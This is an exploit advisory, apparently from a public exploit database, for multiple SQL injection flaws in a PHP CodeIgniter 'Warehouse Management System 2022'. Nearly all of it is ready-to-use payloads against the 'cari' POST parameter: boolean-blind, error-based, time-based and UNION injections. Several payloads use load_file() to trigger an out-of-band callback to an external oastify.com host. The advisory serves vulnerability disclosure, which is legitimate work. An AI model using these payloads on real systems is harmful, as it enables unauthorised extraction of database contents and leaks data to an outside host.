Warehouse Management System 2022 suffers from a remote SQL injection vulnerability.
ba8d69338bfb98affcf9b2b826f5a13d10b10c889a8f1b0d03444c2d61650a68
## Title: Warehouse Management System 2022 ML-SQLi
## Author: nu11secur1ty
## Date: 06.13.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php-codeigniter-warehouse-management-system-free-source-code
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Warehouse-Management-System
## Description:
A Multiple SQLi exist in Warehouse Management System 2022 by oretnom23.
The attacker can retrieve all information from this system by using
this vulnerability.
Status: TURBO CRITICAL
[+] Payloads:
```mysql
---
Parameter: cari (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: cari=(select
load_file('\\\\f4klvq2zr2jjq1fqicjzdovoifo8c3hr8twljb70.oastify.com\\qxv'))
OR NOT 4744=4744# IltN&kirim=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: cari=(select
load_file('\\\\f4klvq2zr2jjq1fqicjzdovoifo8c3hr8twljb70.oastify.com\\qxv'))
OR (SELECT 9682 FROM(SELECT COUNT(*),CONCAT(0x71627a6a71,(SELECT
(ELT(9682=9682,1))),0x717a626a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# mXqR&kirim=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cari=(select
load_file('\\\\f4klvq2zr2jjq1fqicjzdovoifo8c3hr8twljb70.oastify.com\\qxv'))
AND (SELECT 7785 FROM (SELECT(SLEEP(5)))LDxo)# ZbKb&kirim=
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: cari=-5568 UNION ALL SELECT
CONCAT(0x71627a6a71,0x4856564e4357704e696c6b4648505a656a744575445967544a494d5075566b5a4d466c7976516869,0x717a626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&kirim=
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Warehouse-Management-System)
## Proof and Exploit:
[href](https://streamable.com/ef58wt)